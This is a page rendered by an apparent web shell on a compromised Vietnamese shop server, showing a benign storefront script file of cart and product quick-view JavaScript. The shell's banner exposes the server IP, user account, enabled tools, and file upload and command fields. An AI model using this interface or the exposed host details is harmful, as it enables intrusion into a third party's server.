403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.231
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/quagiare.com-bk/public_html/site/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/quagiare.com-bk/public_html/site/views/script.php
<script language="javascript">
// Get the modal
var modalAddComplete = document.getElementById('modalAddComplete');

// Get the button that opens the modal
var modalAddCompleteBtn = document.getElementById("modalAddCompleteBtn");

// When the user clicks the button, open the modal 
modalAddCompleteBtn.onclick = function() {
	modalAddComplete.style.display = "block";
}

// When the user clicks anywhere outside of the modal, close it
window.onclick = function(event) {
	if (event.target == modalAddComplete) {
		modalAddComplete.style.display = "none";
	}
}
</script>
<script src='<?=skin?>js/api.jquery.js' type='text/javascript'></script>
<script src='<?=skin?>js/fastclick.min.js' type='text/javascript'></script>
<script src='<?=skin?>js/script.js' type='text/javascript'></script>
<script src='<?=skin?>js/timber.js' type='text/javascript'></script>
<link href='<?=skin?>css/flexslider.css' rel='stylesheet' type='text/css'  media='all'  />
<script src='<?=skin?>js/jquery.flexslider.js' type='text/javascript'></script>
<script src='<?=skin?>js/handlebars.min.js' type='text/javascript'></script>
<!-- /snippets/ajax-cart-template.liquid -->

<script id="CartTemplate" type="text/template">
  
    <form action="<?=site?>gio-hang.html" method="post" novalidate class="cart ajaxcart">
      <div class="ajaxcart__inner">
        {{#items}}
        <div class="ajaxcart__product">
          <div class="ajaxcart__row" data-line="{{line}}">
            <div class="grid">
              <div class="grid__item one-quarter">
                <a href="{{url}}" class="ajaxcart__product-image"><img src="{{img}}" alt=""></a>
              </div>
              <div class="grid__item three-quarters">
                <p>
                  <a href="{{url}}" class="ajaxcart__product-name">{{name}}</a>
                  {{#if variation}}
                    <span class="ajaxcart__product-meta">{{variation}}</span>
                  {{/if}}
                  {{#properties}}
                    {{#each this}}
                      {{#if this}}
                        <span class="ajaxcart__product-meta">{{@key}}: {{this}}</span>
                      {{/if}}
                    {{/each}}
                  {{/properties}}
                  
                </p>

                <div class="grid--full display-table">
                  <div class="grid__item display-table-cell one-half">
                    <div class="ajaxcart__qty">
                      <button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--minus icon-fallback-text" data-id="{{key}}" data-qty="{{itemMinus}}" data-line="{{line}}">
                        <span class="icon icon-minus" aria-hidden="true"></span>
                        <span class="fallback-text" aria-hidden="true">&minus;</span>
                        <span class="visually-hidden">Giảm số lượng sản phẩm đi 1</span>
                      </button>
                      <input type="text" name="updates[]" class="ajaxcart__qty-num" value="{{itemQty}}" min="0" data-id="{{key}}" data-line="{{line}}" aria-label="quantity" pattern="[0-9]*">
                      <button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--plus icon-fallback-text" data-id="{{key}}" data-line="{{line}}" data-qty="{{itemAdd}}">
                        <span class="icon icon-plus" aria-hidden="true"></span>
                        <span class="fallback-text" aria-hidden="true">+</span>
                        <span class="visually-hidden">Tăng số lượng sản phẩm lên 1</span>
                      </button>
                    </div>
                  </div>
                  <div class="grid__item display-table-cell one-half text-right">
                    {{#if discountsApplied}}
                      <small class="ajaxcart-item__price-strikethrough"><s>{{{originalLinePrice}}}</s></small>
                      <br><span>{{{linePrice}}}</span>
                    {{else}}
                      <span>{{{linePrice}}}</span>
                    {{/if}}
                    </div>
                  </div>
                  {{#if discountsApplied}}
                    <div class="grid--full display-table">
                      <div class="grid__item text-right">
                        {{#each discounts}}
                          <small class="ajaxcart-item__discount">{{ this.title }}</small><br>
                        {{/each}}
                      </div>
                    </div>
                  {{/if}}
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
        {{/items}}

        
          <div>
            <label for="CartSpecialInstructions">Chú thích cho chủ cửa hàng</label>
            <textarea name="note" class="input-full" id="CartSpecialInstructions">{{ note }}</textarea>
          </div>
        
      </div>
      <div class="ajaxcart__footer">
        <div class="grid--full">
          <div class="grid__item two-thirds">
            <p>Tổng tiền</p>
          </div>
          <div class="grid__item one-third text-right">
            <p>{{{totalPrice}}}</p>
          </div>
          {{#if totalCartDiscount}}
            <p class="ajaxcart__savings text-center"><em>{{{totalCartDiscount}}}</em></p>
          {{/if}}
        </div>
        <p class="text-center">Vận chuyển</p>
        <button type="submit" class="btn--secondary btn--full cart__checkout" name="checkout">
          Thanh toán &rarr;
        </button>
        
      </div>
    </form>
  
  </script>
<script id="AjaxQty" type="text/template">
  
    <div class="ajaxcart__qty">
      <button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--minus icon-fallback-text" data-id="{{key}}" data-qty="{{itemMinus}}">
        <span class="icon icon-minus" aria-hidden="true"></span>
        <span class="fallback-text" aria-hidden="true">&minus;</span>
        <span class="visually-hidden">Giảm số lượng sản phẩm đi 1</span>
      </button>
      <input type="text" class="ajaxcart__qty-num" value="{{itemQty}}" min="0" data-id="{{key}}" aria-label="quantity" pattern="[0-9]*">
      <button type="button" class="ajaxcart__qty-adjust ajaxcart__qty--plus icon-fallback-text" data-id="{{key}}" data-qty="{{itemAdd}}">
        <span class="icon icon-plus" aria-hidden="true"></span>
        <span class="fallback-text" aria-hidden="true">+</span>
        <span class="visually-hidden">Tăng số lượng sản phẩm lên 1</span>
      </button>
    </div>
  
  </script>
<script id="JsQty" type="text/template">
  
    <div class="js-qty">
      <button type="button" class="js-qty__adjust js-qty__adjust--minus icon-fallback-text" data-id="{{key}}" data-qty="{{itemMinus}}">
        <span class="icon icon-minus" aria-hidden="true"></span>
        <span class="fallback-text" aria-hidden="true">&minus;</span>
        <span class="visually-hidden">Giảm số lượng sản phẩm đi 1</span>
      </button>
      <input type="number" class="js-qty__num" value="{{itemQty}}" min="1" data-id="{{key}}" aria-label="quantity" pattern="[0-9]*" name="{{inputName}}" id="{{inputId}}">
      <button type="button" class="js-qty__adjust js-qty__adjust--plus icon-fallback-text" data-id="{{key}}" data-qty="{{itemAdd}}">
        <span class="icon icon-plus" aria-hidden="true"></span>
        <span class="fallback-text" aria-hidden="true">+</span>
        <span class="visually-hidden">Tăng số lượng sản phẩm lên 1</span>
      </button>
    </div>
  
  </script>
<script src='<?=skin?>js/ajax-cart.js' type='text/javascript'></script>
<script>
jQuery(function($) {
	ajaxCart.init({
		formSelector: '#AddToCartForm',
		cartContainer: '#CartContainer',
		addToCartSelector: '#AddToCart',
		cartCountSelector: '#CartCount',

		cartCostSelector: '#CartCost',
		moneyFormat: "{{amount}}₫"
								});
});

jQuery(document.body).on('afterCartLoad.ajaxCart', function(evt, cart) {
	// Bind to 'afterCartLoad.ajaxCart' to run any javascript after the cart has loaded in the DOM
	timber.RightDrawer.open();
});
</script>



<!-- Validate quantity form & trigger zoom -->
<script>
$("document").ready(function() {
	$(function() {
		$(".js-qty__num").keypress(function(event) {
			if (event.which != 8 && event.which != 0 && (event.which < 48 || event.which > 57)) {
				return false;
			}
		});
	});
	if($(window).width()> 768){
		setTimeout(function() {
			$("#ProductThumbs .thumbnail-item:first-child a").trigger('click');
		},100);
	};
});
</script>
<script>
$(document).ready(function(){
	callFirstVariant();
})

function callFirstVariant(){
	var swatch_size = parseInt($('.select-swatch').children().size());
	var _chage = '';
	$('.swatch-element[data-value="'+$('.selector-wrapper .single-option-selector').eq(0).val()+'"]').find('input').click();
	$('.swatch-element[data-value="'+$('.selector-wrapper .single-option-selector').eq(1).val()+'"]').find('input').click();

	if(swatch_size == 2){
		var _avi_op1 = '';
		var _avi_op2 = '';
		var _count = $('#variant-swatch-1 .swatch-element').size();
		$('#variant-swatch-0 .swatch-element').each(function(ind,value){
			var _key = $(this).data('value');
			var _unavi = 0;
			$('.single-option-selector').eq(0).val(_key).change();
			$('#variant-swatch-1 .swatch-element').each(function(i,v){
				var _val = $(this).data('value');
				$('.single-option-selector').eq(1).val(_val).change();
				if(check_variant == true){
					if(_avi_op1 == ''){
						_avi_op1 = _key;
					}
					if(_avi_op2 == ''){
						_avi_op2 = _val;
					}
				}else{
					_unavi += 1;
				}
			})
			if(_unavi == _count){
				$('#variant-swatch-0 .swatch-element[data-value = "'+_key+'"]').addClass('soldout');
				$('#variant-swatch-0 .swatch-element[data-value = "'+_key+'"]').find('input').attr('disabled','disabled');					
			}
		})
		$('#variant-swatch-1 .swatch-element[data-value = "'+_avi_op2+'"] input').click();
		$('#variant-swatch-0 .swatch-element[data-value = "'+_avi_op1+'"] input').click();
	}else if(swatch_size == 3){
		var _avi_op1 = '';
		var _avi_op2 = '';
		var _avi_op3 = '';
		var _size_op2 = $('#variant-swatch-1 .swatch-element').size();
		var _size_op3 = $('#variant-swatch-2 .swatch-element').size();

		$('#variant-swatch-0 .swatch-element').each(function(ind,value){
			var _key_va1 = $(this).data('value');
			var _count_unavi = 0;
			$('.single-option-selector').eq(0).val(_key_va1).change();
			$('#variant-swatch-1 .swatch-element').each(function(i,v){
				var _key_va2 = $(this).data('value');
				var _unavi_2 = 0;
				$('.single-option-selector').eq(1).val(_key_va2).change();
				$('#variant-swatch-2 .swatch-element').each(function(j,z){
					var _key_va3 = $(this).data('value');
					$('.single-option-selector').eq(2).val(_key_va3).change();
					if(check_variant == true){
						if(_avi_op1 == ''){
							_avi_op1 = _key_va1;
						}
						if(_avi_op2 == ''){
							_avi_op2 = _key_va2;
						}
						if(_avi_op3 == ''){
							_avi_op3 = _key_va3;
						}
					}else{
						_unavi_2 += 1;
					}
				})
				if(_unavi_2 == _size_op3){
					_count_unavi += 1;
				}
			})
			if(_size_op2 == _count_unavi){
				$('#variant-swatch-0 .swatch-element[data-value = "'+_key_va1+'"]').addClass('soldout');
				$('#variant-swatch-0 .swatch-element[data-value = "'+_key_va1+'"]').find('input').attr('disabled','disabled');					
			}
		})
		$('#variant-swatch-0 .swatch-element[data-value = "'+_avi_op1+'"] input').click();
	}
	var img_ = $('#variant-swatch-0 .swatch-element[data-value = "'+_avi_op1+'"] input').data('img-src');
	$('.product-single__thumbnail[href="'+img_+'"]').trigger('click');
}
</script>

<!-- popup loaded -->
<script>
$(document).ready(function(){
	var date = new Date();
	var minutes = 60;
	date.setTime(date.getTime() + (minutes * 60 * 1000));

	if (getCookie('popupNewLetterStatus') != 'closed') {
		$('#popup-btn').trigger('click');
		setCookie('popupNewLetterStatus', 'closed', date);
	};
})
</script>

<!-- quick view -->
<style>
.modal {
	display: none;
	position: fixed;
	z-index: 99999;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	overflow: hidden;
	background-color: rgb(0,0,0);
	background-color: rgba(0,0,0,0.4);
	transtion: all .5s;
}
.modal-content {
	background-color: #fefefe;
	margin: 5% auto;
	padding: 20px;
	border: 1px solid #888;
	width: 80%;
	max-width: 780px;
	transform: translatey(-30px);
	transition: all .5s;
}
.close {
	color: #aaa;
	font-size: 28px;
	font-weight: bold;
	position: absolute;
	right: 0;
	top: 0;
	width: 40px;
	text-align: center;
}
.close:hover,  .close:focus {
	color: black;
	text-decoration: none;
	cursor: pointer;
}
</style>
<div class="modal" id="productQuickView">
    <div class="modal-content"> <span id="close" class="close">&times;</span>
        <form class="grid" id="form-quick-view" >
            <div class="grid__item large--five-tenths">
                <div class="image-zoom"> <img id="p-product-image-feature" class="p-product-image-feature" src="">
                    <div id="p-sliderproduct" class="flexslider">
                        <ul class="slides">
                        </ul>
                    </div>
                </div>
            </div>
            <div class="grid__item large--five-tenths pull-right">
                <h4 class="p-title   modal-title " id="">Tên sản phẩm</h4>
                <p class="product-more-info"> <span class="product-sku"> Mã sản phẩm: <span id="ProductSku">01923123</span> </span> </p>
                <div class="form-input product-price-wrapper">
                    <div class="product-price"> <span class="p-price "></span> <del></del> </div>
                    <em id="PriceSaving"></em> </div>
                <div class="p-option-wrapper">
                    <select name="id" class="" id="p-select-quickview">
                    </select>
                </div>
                <div id="swatch-quick-view" class="select-swatch"> </div>
                <div class="form-input hidden">
                    <label>Số lượng</label>
                    <input name="quantity" type="number" min="1" value="1" />
                </div>
                <div class="form-input" style="width: 100%">
                    <button type="submit" class="btn btn-addcart" id="AddToCardQuickView">Thêm vào giỏ</button>
                    <button disabled class="btn btn-soldout">Hết hàng</button>
                    <div class="qv-readmore"> <span> hoặc </span><a class="read-more p-url" href="" role="button">Xem chi tiết</a> </div>
                </div>
            </div>
        </form>
    </div>
    <div id="loading">
        <div></div>
    </div>
</div>
<script>
$('#AddToCardQuickView').on('click', function(e){
	e.preventDefault();
	jQuery.ajax({
		type: 'POST',
		url: '<?=site?>gio-hang.html/add.js',
		async : false,
		data: jQuery('#form-quick-view').serialize(),
		dataType: 'json',
		success: function() {
			$(".close").trigger('click');
			updateCart();
			updateCartModal();
		},
		error: function(XMLHttpRequest, textStatus) {
			Haravan.onError(XMLHttpRequest, textStatus);
		}
	});
});
var callBack = function (variant, selector) {
	if (variant) {
		modal = $('#productQuickView');
		$('.p-price').html(Haravan.formatMoney(variant.price, "{{amount}}₫"));
		if(variant.sku){
			$('#ProductSku').html(variant.sku);
			$('.product-sku').show();
		}else{
			$('.product-sku').hide();
		}
		if(variant.compare_at_price - variant.price > 0){
			$('#PriceSaving').html('(Bạn đã tích kiệm được ' + Haravan.formatMoney(variant.compare_at_price - variant.price, "{{amount}}₫")+')')
		}else{
			$('#PriceSaving').html('')
		}
		if (variant.compare_at_price > 0)
			modal.find('del').html(Haravan.formatMoney(variant.compare_at_price, "{{amount}}₫"));
		else
			modal.find('del').html('');
		if (variant.available) {
			modal.find('.btn-addcart').css('display', 'block');
			modal.find('.btn-soldout').css('display', 'none');
			if (variant.featured_image) {
				var newImg = variant.featured_image,
						el = $('.p-product-image-feature')[0];
				Haravan.Image.switchImage(newImg, el, timber.switchImage);
			}
			check_variant_quickview = true;
		}
		else {
			modal.find('.btn-addcart').css('display', 'none');
			modal.find('.btn-soldout').css('display', 'block');

		}
	}
	else {
		modal.find('.btn-addcart').css('display', 'none');
		modal.find('.btn-soldout').css('display', 'block');
		check_variant_quickview = false;

	}
}
var p_select_data = $('.p-option-wrapper').html();
var p_zoom = $('.image-zoom').html();
var quickViewProduct = function (purl) {

	if ($(window).width() < 680) { window.location = purl; return false; }
	modal = $('#productQuickView');
	$.ajax({
		url: purl + '.js',
		async: false,
		success: function (product) {
			$.each(product.options, function (i, v) {
				product.options[i] = v.name;
			})
			modal.find('.p-title').html(product.title);
			modal.find('.p-option-wrapper').html(p_select_data);
			modal.find('#swatch-quick-view').html('');
			$('.image-zoom').html(p_zoom);
			modal.find('.p-url').attr('href', product.url);

			$.each(product.variants, function (i, v) {
				modal.find('select#p-select-quickview').append("<option value='" + v.id + "'>" + v.title + ' - ' + v.price + "</option>");
			})
			if (product.variants.length == 1 && product.variants[0].title.indexOf('Default') != -1)
				$('.p-option-wrapper').hide();
			else
				$('.p-option-wrapper').show();
			if (product.variants.length == 1 && product.variants[0].title.indexOf('Default') != -1) {
				callBack(product.variants[0], null);
			}
			else {
				new Haravan.OptionSelectors("p-select-quickview", { product: product, onVariantSelected: callBack });
				if (product.options.length == 1 && product.options[0].indexOf('Tiêu đề')==-1)
					modal.find('.selector-wrapper:eq(0)').prepend('<label>' + product.options[0] + '</label>');
				$('.p-option-wrapper select:not(#p-select-quickview)').each(function () {
					$(this).wrap('<span class="custom-dropdown custom-dropdown--white"></span>');
					$(this).addClass("custom-dropdown__select custom-dropdown__select--white");
				});
				var filePath = window.file_url.substring(0, window.file_url.lastIndexOf('?'));
				var assetUrl = window.asset_url.substring(0, window.asset_url.lastIndexOf('?'));

				product.options.forEach(function(item){

				})
				var variantSwatch = '';
				for(var j = 0; j< product.options.length; j++){
					var option_index = j;
					var op_index_plus = option_index + 1;
					var swatch = product.options[option_index];
					variantSwatch += '<div id="variant-swatch-'+ option_index +'-quickview" class="swatch swatch-quick-view clearfix" data-option="option'+ op_index_plus +'" data-option-index="'+ option_index +'">';
					variantSwatch += '<div class="header"> '+ product.options[j]+' </div><div class="select-swap">';
					var is_color = false;
					if(product.options[j] == "Màu sắc" || product.options[j] == "Màu"){
						is_color = true;
					}					
					var values = '';
					for(var i = 0; i< product.variants.length; i++){
						var value = convertToSlug(product.variants[i].options[option_index]); //value handle :(
						var _value = product.variants[i].options[option_index];

						if(values.indexOf(value) < 0){
							values += ',';
							values += ',' + value;
							values = values.split(',');
							if(is_color){
								variantSwatch += '<div data-value="'+_value+'" class="n-sd swatch-element color '+ value;

							}else{
								variantSwatch += '<div data-value="'+_value+'" class="n-sd swatch-element '+ value;
							}

							if(option_index == 2){
								variantSwatch += 'variant-3">';
							}else{
								variantSwatch +='">';
							}

							variantSwatch += '<input class="variant-'+option_index+' input-quickview" id="qv-swatch-'+option_index+'-'+value+'" type="radio" name="option'+op_index_plus+'" value="'+_value+'"';
							if(j==0){
								variantSwatch += ' checked/>';
							}else{
								variantSwatch += ' />';
							}

							if(is_color){
								var img_url = '';
								if(product.variants[i].featured_image != null){
									img_url = Haravan.resizeImage(product.variants[i].featured_image.src, 'thumb');
								}
								if(img_url !== ''){
									if(img_url.indexOf('noDefaultImage6') < 0){
										variantSwatch += '<label class="'+value+' has-thumb" for="qv-swatch-'+option_index+'-'+value+'" style="background: url('+img_url+') top left no-repeat" >';
									}
								}
								//fix o day
								else{
									variantSwatch += 	'<label class="'+value+' no-thumb" for="qv-swatch-'+option_index+'-'+value+'">';
								}
								variantSwatch +='	<span>'+_value+'</span><img class="crossed-out" src="'+assetUrl+'soldout.png" /><img class="img-check" src="'+assetUrl+'select-pro.png" /></label>';

							}else{
								variantSwatch += '<label for="qv-swatch-'+option_index+'-'+value+'">'+ _value +'<img class="crossed-out" src="'+assetUrl+'soldout.png" /><img class="img-check" src="'+assetUrl+'select-pro.png" /></label>';
							}
							//console.log(variantSwatch);
							//console.log(product.variants[i])
							variantSwatch += '</div>';
						}
					}

					variantSwatch += '</div>';
					variantSwatch += '</div>';
				}

				modal.find('#swatch-quick-view').html(variantSwatch);

				callBack(product.variants[0], null);
				callFirstVariantQuickView();
			}
			if (product.images.length == 0) {
				modal.find('.p-product-image-feature').attr('src', '//hstatic.net/0/0/global/noDefaultImage6_large.gif');
			}
			else {
				$('#p-sliderproduct').remove();
				$('.image-zoom').append("<div id='p-sliderproduct'>");
				$('#p-sliderproduct').append("<ul class='owl-carousel inline-list'>");
				$.each(product.images, function (i, v) {
					elem = $('<li class="item">').append('<a href="#" data-image="" data-zoom-image=""><img /></a>');
					elem.find('a').attr('data-image', Haravan.resizeImage(v, 'medium'));
					elem.find('a').attr('data-zoom-image', Haravan.resizeImage(v, 'large'));
					elem.find('img').attr('data-image', Haravan.resizeImage(v, 'medium'));
					elem.find('img').attr('data-zoom-image',Haravan.resizeImage(v, 'large'));
					elem.find('img').attr('src', Haravan.resizeImage(v, 'medium'));
					modal.find('.owl-carousel').append(elem);
				});
				var owl = $('#p-sliderproduct .owl-carousel');
				owl.owlCarousel({
					items:3,
					navigation : true,
					navigationText :[navRightText, navLeftText]
				});
				$('#p-sliderproduct .owl-carousel .owl-item').first().children('.item').addClass('active');
				modal.find('.p-product-image-feature').attr('src', Haravan.resizeImage(product.featured_image, 'large') );
				$(".modal-footer .btn-readmore").attr('href', purl);
			}
		}
	});

	return false;
}
$('#productQuickView').on('click', '.item img', function (event) {
	event.preventDefault();
	modal = $('#quick-view-modal');
	modal.find('.p-product-image-feature').attr('src', $(this).attr('data-zoom-image'));
	modal.find('.item').removeClass('active');
	$(this).parents('li').addClass('active');
	return false;
});
$(function(){
	$('#close').click(function(){
		$('#productQuickView .modal-content').css('opacity', '0');
		$('#productQuickView .modal-content').css('transform', 'translateY(-30px)');
		$('#productQuickView').css('background-color', 'rgba(0,0,0,0)');
		setTimeout(function(){
			$('#productQuickView').hide();
		}, 500);
		document.getElementById("form-quick-view").reset();
	})
	window.onclick = function(event) {
		if (event.target == document.getElementById('productQuickView')) {
			$('#productQuickView .modal-content').css('opacity', '0');
			$('#productQuickView .modal-content').css('transform', 'translateY(-30px)');
			$('#productQuickView').css('background-color', 'rgba(0,0,0,0)');
			setTimeout(function(){
				$('#productQuickView').hide();
			}, 500);
			document.getElementById("form-quick-view").reset();
		}
	}
})
$(document).on("click",".quick-view", function(event){
	event.preventDefault();

	if(!quickViewProduct($(this).attr('data-handle'))){
		if ($(window).width() > 680) {
			$('#productQuickView .modal-content').css('opacity', '0');
			$('#productQuickView').show();
			$('#productQuickView').css('background-color', 'rgba(0,0,0,0.4)');
			$('#loading').show();

			var images = $("#productQuickView img");
			var loadedImgNum = 0;

			images.on('load', function(){
				loadedImgNum += 1;
				if (loadedImgNum == images.length) {
					var topPQZ =  ($('#productQuickView').height() - $('.modal-content').height())/2;
					$('#loading').hide();
					$('#productQuickView .modal-content').css('opacity', '1');
					$('#productQuickView .modal-content').css('transform', 'translateY(0)');
					$('#productQuickView .modal-content').css('margin-top', topPQZ - 50);
				}
			});
		}
		$('#p-sliderproduct a').on('click', function(evt) {
			evt.preventDefault();
			var newImage = $(this).data('zoom-image');
			$('.p-product-image-feature').attr('src', newImage);
		});
	}
});
function callFirstVariantQuickView(){
	var _chage = '';
	$('#productQuickView .swatch-element[data-value="'+$('.selector-wrapper .single-option-selector').eq(0).val()+'"]').find('input').click();
	$('#productQuickView .swatch-element[data-value="'+$('.selector-wrapper .single-option-selector').eq(1).val()+'"]').find('input').click();
	if(swatch_size == 2){
		var _avi_op1 = '';
		var _avi_op2 = '';
		var _count = $('#variant-swatch-1-quickview .swatch-element').size();
		$('#variant-swatch-0-quickview .swatch-element').each(function(ind,value){
			var _key = $(this).data('value');
			var _unavi = 0;
			$('#productQuickView .single-option-selector').eq(0).val(_key).change();
			$('#variant-swatch-1-quickview .swatch-element').each(function(i,v){
				var _val = $(this).data('value');
				$('#productQuickView .single-option-selector').eq(1).val(_val).change();
				if(check_variant_quickview == true){
					if(_avi_op1 == ''){
						_avi_op1 = _key;
					}
					if(_avi_op2 == ''){
						_avi_op2 = _val;
					}
				}else{
					_unavi += 1;
				}
			})
			if(_unavi == _count){
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key+'"]').addClass('soldout');
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key+'"]').find('input').attr('disabled','disabled');					
			}
		})
		$('#variant-swatch-1-quickview .swatch-element[data-value = "'+_avi_op2+'"] input').click();
		$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_avi_op1+'"] input').click();
	}else if(swatch_size == 3){
		var _avi_op1 = '';
		var _avi_op2 = '';
		var _avi_op3 = '';
		var _size_op2 = $('#variant-swatch-1-quickview .swatch-element').size();
		var _size_op3 = $('#variant-swatch-2-quickview .swatch-element').size();

		$('#variant-swatch-0-quickview .swatch-element').each(function(ind,value){
			var _key_va1 = $(this).data('value');
			var _count_unavi = 0;
			$('#productQuickView .single-option-selector').eq(0).val(_key_va1).change();
			$('#variant-swatch-1-quickview .swatch-element').each(function(i,v){
				var _key_va2 = $(this).data('value');
				var _unavi_2 = 0;
				$('#productQuickView .single-option-selector').eq(1).val(_key_va2).change();
				$('#variant-swatch-2-quickview .swatch-element').each(function(j,z){
					var _key_va3 = $(this).data('value');
					$('#productQuickView .single-option-selector').eq(2).val(_key_va3).change();
					if(check_variant_quickview == true){
						if(_avi_op1 == ''){
							_avi_op1 = _key_va1;
						}
						if(_avi_op2 == ''){
							_avi_op2 = _key_va2;
						}
						if(_avi_op3 == ''){
							_avi_op3 = _key_va3;
						}
					}else{
						_unavi_2 += 1;
					}
				})
				if(_unavi_2 == _size_op3){
					_count_unavi += 1;
				}
			})
			if(_size_op2 == _count_unavi){
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key_va1+'"]').addClass('soldout');
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key_va1+'"]').find('input').attr('disabled','disabled');					
			}
		})
		$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_avi_op1+'"] input').click();
	}
	var img_ = $('#variant-swatch-0-quickview .swatch-element[data-value = "'+_avi_op1+'"] input').data('img-src');
}
</script> 

Youez - 2016 - github.com/yon3zu
LinuXploit